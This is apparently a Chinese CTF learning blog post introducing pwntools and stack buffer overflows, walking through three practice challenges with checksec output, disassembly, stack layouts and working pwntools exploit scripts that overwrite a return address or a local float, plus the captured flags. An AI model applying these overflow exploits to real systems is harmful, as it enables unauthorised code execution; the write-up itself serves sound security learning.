常用的模块

模块 功能
asm 汇编与反汇编
dynelf 远程符号泄漏
elf 对elf文件进行操作
memleak 用于内存泄漏
shellcraft shellcode生成器
gdb 配合gdb调试
utils 一些实用的小功能

结合CTF例题

题目1

下载附件pwn1,使用checksec检查保护

$ checksec pwn1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

没有开启保护机制

终端输入objdump -d -M intel pwn1,反汇编后查看main函数

0000000000401142 <main>:
401142: 55 push rbp
401143: 48 89 e5 mov rbp,rsp
401146: 48 83 ec 10 sub rsp,0x10
40114a: 48 8d 3d b3 0e 00 00 lea rdi,[rip+0xeb3] # 402004 <_IO_stdin_used+0x4>
401151: e8 da fe ff ff call 401030 <puts@plt>
401156: 48 8d 45 f1 lea rax,[rbp-0xf]
40115a: 48 89 c7 mov rdi,rax
40115d: b8 00 00 00 00 mov eax,0x0
401162: e8 e9 fe ff ff call 401050 <gets@plt>
401167: 48 8d 45 f1 lea rax,[rbp-0xf]
40116b: 48 89 c7 mov rdi,rax
40116e: e8 bd fe ff ff call 401030 <puts@plt>
401173: 48 8d 3d 97 0e 00 00 lea rdi,[rip+0xe97] # 402011 <_IO_stdin_used+0x11>
40117a: e8 b1 fe ff ff call 401030 <puts@plt>
40117f: b8 00 00 00 00 mov eax,0x0
401184: c9 leave
401185: c3 ret

这段代码的开头是形成栈帧,sub rsp,0x10是在栈中开辟了一段数组,这个大小是15(0x10-1),call puts是调用puts函数,打印了一段字符串。rdi寄存器中存放的是gets的参数,即刚开的数组的首地址。gets向这个缓冲区数组读入数据但没有长度的限制,于是构成了缓冲区溢出。

IDA 反汇编结果

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF puts("please input");
gets(s);
puts(s);
puts("ok,bye!!!");
return 0;
}

查看数组s在栈中的位置,因为关闭了ASLR,所以栈的地址是固定的。

-000000000000000F s               db ?
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?)   //
+0000000000000008 r db 8 dup(?) // 这里是main函数返回地址
+0000000000000010
+0000000000000010 ; end of stack variables

与此同时,程序中提供了一个fun函数,可以借助它来开启一个交互shell

// 0x401186
int fun()
{
return system("/bin/sh");
}

利用gets函数读入输入,用一段垃圾数据覆盖到返回地址前,最后将fun函数的首地址覆盖到main的返回地址,即可修改程序的执行流,转移到fun函数代码段执行。

在本地尝试

from pwn import *

context(os="Linux", arch="amd64")

p = process("./pwn1")            # 运行程序,开启进程
p.recvuntil("please input") # 接收字符串,直到"please input"
fun_addr = 0x0000000000401186 # fun函数的地址
shellcode = "A" * (0x08 + 0x0f) + p64(fun_addr) # 垃圾数据+函数地址
p.sendline(shellcode) # 发送
p.interactive() # 交互

本地成功拿到了shell

$ python demo.py
[+] Starting local process './pwn1': pid 13787
[*] Switching to interactive mode AAAAAAAAAAAAAAAAAAAAAAA\x86\x11
ok,bye!!!
$ ls
demo.py pwn1 pwn1.id1 pwn1.nam
peda-session-pwn1.txt pwn1.id0 pwn1.id2 pwn1.til

题目2

下载附件 BUUCTF

$ checksec warmup_csaw_2016
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

使用IDA反汇编main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}

函数的开头开辟了两个数组,sprintf的作用是格式化字符串,下一行输出打印该字符串。查看该地址处的代码:

int sub_40060D()
{
return system("cat flag.txt");
}

可以看到是执行了一个命令,查看flag的文件内容。

main函数末尾存在一个gets函数,没有对读入长度作限制,因此可利用缓冲区溢出漏洞。

-0000000000000040 var_40          db 64 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

如上是栈的分布,计算要使用(0x08+0x40)个字节的垃圾数据覆盖到返回地址,最后将sub_40060D覆盖到返回地址

from pwn import *

context(os="Linux", arch="amd64")
p = remote("node4.buuoj.cn",29242) # 远程连接
p.recvuntil(">") fun_addr = 0x40060d
shellcode = "A" * (0x08 + 0x40) + p64(fun_addr)
p.sendline(shellcode)
p.interactive()

执行代码

$ python demo.py
[+] Opening connection to node4.buuoj.cn on port 29242: Done
[*] Switching to interactive mode
flag{fe388bc3-c5c0-4cb7-8bdf-e14af238ca89}

拿到flag

题目3

下载附件 BUUCTF

$ checksec ciscn_2019_n_1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

无保护机制

使用IDA 反汇编main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}

进入func函数

int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h] v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}

根据程序逻辑,若v2为11.28125则拿到flag

那么可以通过gets函数的缓冲区溢出来修改v2的值

-0000000000000030 ; D/A/*   : change type (data/ascii/array)
-0000000000000030 ; N : rename
-0000000000000030 ; U : undefine
-0000000000000030 ; Use data definition commands to create local variables and function arguments.
-0000000000000030 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 var_30 db 44 dup(?)
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

v1的首地址在-0000000000000030,v2在-0000000000000004,先用(0x30-0x04 )字节的数据覆盖到v2地址之前,将v2地址处的数据覆盖为11.28125即可,根据IEEE754规范,11.28125的16进制的形式为0x41348000

from pwn import *

context(os="Linux", arch="amd64")
p = remote("node4.buuoj.cn",26379)
p.recvuntil("Let's guess the number.") # 41 34 80 00
shellcode = "A" * (0x30 - 0x04) + p64(0x41348000)
p.sendline(shellcode)
p.interactive()

运行后拿到flag

$ python demo.py
[+] Opening connection to node4.buuoj.cn on port 26379: Done
[*] Switching to interactive mode flag{9fcc4f83-6ddc-4a81-b14d-c0aec78372d6

总结

process函数可以打开一个本地的进程并且与其交互,参数是文件名。
send系列的函数可以发送字符,sendline会在末尾加上换行。 interactive() : 在取得shell之后使用,直接进行交互,相当于回到shell的模式。 recv(numb=字节大小, timeout=default) : 接收指定字节数。 recvall() : 一直接收直到达到文件EOF。 recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n。 recvuntil(delims, drop=False) : 一直读到delims的pattern出现为止。 recvrepeat(timeout=default) : 持续接受直到EOF或timeout。

简单的栈溢出题目中通常会有如gets这样的危险函数,对输入内容长度不加限制,从而导致溢出

PWN 学习日志(1): pwntools简单使用与栈溢出实践的更多相关文章

  1. Cortex-M3学习日志(六) -- ADC实验

    上一次简单的总结了一下DAC方面的知识,好吧,这次再来总结一下ADC方面的东东.ADC即Analog-to-Digital Converter的缩写,指模/数转换器或者模拟/数字转换器.现实世界是由模 ...

  2. 软件测试学习日志———— round 2 Junit+intellj idea 安装及简单的测试使用

    今天是软件测试的上机,主要内容是对junit的安装以及对一个简单类的测试实践.老师推荐用eclipse,但是我原来一直在 用intellj Idea,所以我试了试intellj Idea对junit的 ...

  3. Cortex-M3学习日志(五) -- DAC实验

    终于逮了个忙里偷闲的机会,就再学一下LPC1768的外围功能吧,循序渐进是学习的基本规则,也许LPC1768的DAC与8位单片机16位单片机里面集成的DAC操作类似,但是既然这是懒猫的学习日志,就顺便 ...

  4. webpack2学习日志

    webpack说容易也容易,说难也难,主要还是看个人,想学到什么样的程度,很多公司可能要求仅仅是会用就行,但是也有一些公司要求比较高,要懂一些底层的原理,所以还是要花一些时间的,看个人需求.这篇仅仅是 ...

  5. composer的安装和使用 学习日志

    如果你做为一个phper,没有用过composer,那你真的不是一个合格的开发者.那么就来记录一下composer的学习日志 下面分享几个学习源头: composer中文网站:https://www. ...

  6. Mybatis学习--日志

    学习笔记,选自Mybatis官方中文文档:http://www.mybatis.org/mybatis-3/zh/logging.html Logging Mybatis内置的日志工厂提供日志功能,具 ...

  7. Python 学习日志9月19日

    9月19日 周二 今天是普通的一天,昨天也是普通的一天,刚才我差点忘记写日志,突然想起来有个事情没做,回来写. 今天早晨学习<Head First HTML and CSS>第十一章节“布 ...

  8. .NetCore微服务Surging新手傻瓜式 入门教程 学习日志---结构简介(二)

    原文:.NetCore微服务Surging新手傻瓜式 入门教程 学习日志---结构简介(二) 先上项目解决方案图: 以上可以看出项目结构可以划分为4大块,1是surging的核心底层,2,3,4都可以 ...

  9. 基于Flask框架搭建视频网站的学习日志(三)之原始web表单

    基于Flask框架搭建视频网站的学习日志(三)1.原始Web 表单 本节主要用于体验一下前端后端直接数据的交互,样例不是太完善,下一节会加入Flash处理,稍微完善一下页面 (备注:建议先阅读廖雪峰老 ...

  10. [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇

    目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...

随机推荐

  1. mybatis-config.xml头信息

    1 <?xml version="1.0" encoding="UTF-8" ?> 2 <!DOCTYPE configuration 3 P ...

  2. 2.20 Q_Learning 和Sarsa 的区别

    二者都是基于Qtable的算法,其中Qlearning属于off-policy,Sarsa属于on-policy. 算法伪代码: 二者主要区别是更新Qtable的方式不同:

  3. Spring Framework学习总结

    一.Spring 概述 Spring 有两个核心部分: IoC 和 AOP. Spring 是一种基于 Bean 的编程技术,它深刻地改变着 Java 开发世界.Spring 使用简单.基本的 Jav ...

  4. 初学,Markdown的使用

    Markdown学习 一级标题:"#"+空格+"标题" 二级标题 二级标题:"##"+空格+"标题" 三级标题 三级标题 ...

  5. 七、CSS网格

    构造一个5*5的网格,如下图所示,同一颜色表示同个区域,黑线表示间隔5px 1.普通方式建立网格 <!DOCTYPE html> <html> <body> < ...

  6. []Python][simple]Serialize data with Pickle and deserialize data from pickle

    序列化 import pickle friend = {"Dan": [20, "Lodon", 123123], "Mary" : [24 ...

  7. 在.NET中使用JWT

    1.配置文件添加 //jwt配置文件 "JWT": { "SigningKey": "14fa5f2rrwsg627fs256fdgff2r5rf52 ...

  8. shrding-jdbc分表引起的坑

    1.sum等函数不能解析,报错 2.3.1版本,分页,计算出错,第二页以后数据出现问题 3.4.1版本,创建索引添加"`"关键字报错,因为会给索引名拼接上表名,组装后的sql错误.

  9. Lucene搜索引擎-搜索

    Lucene搜索引擎-搜索 常用的Query: BooleanQuery:多个条件组合查询,注意 new BooleanQuery().add(Query, BooleanClause.Occur); ...

  10. 在 Maui 中自绘组件1:绘制

    在 Maui 中自绘组件 系列文章已完结,共六篇,此为第一篇. 在 Maui 中自绘组件1:绘制 在 Maui 中自绘组件2:可绑定属性 在 Maui 中自绘组件3:事件与命令 在 Maui 中自绘组 ...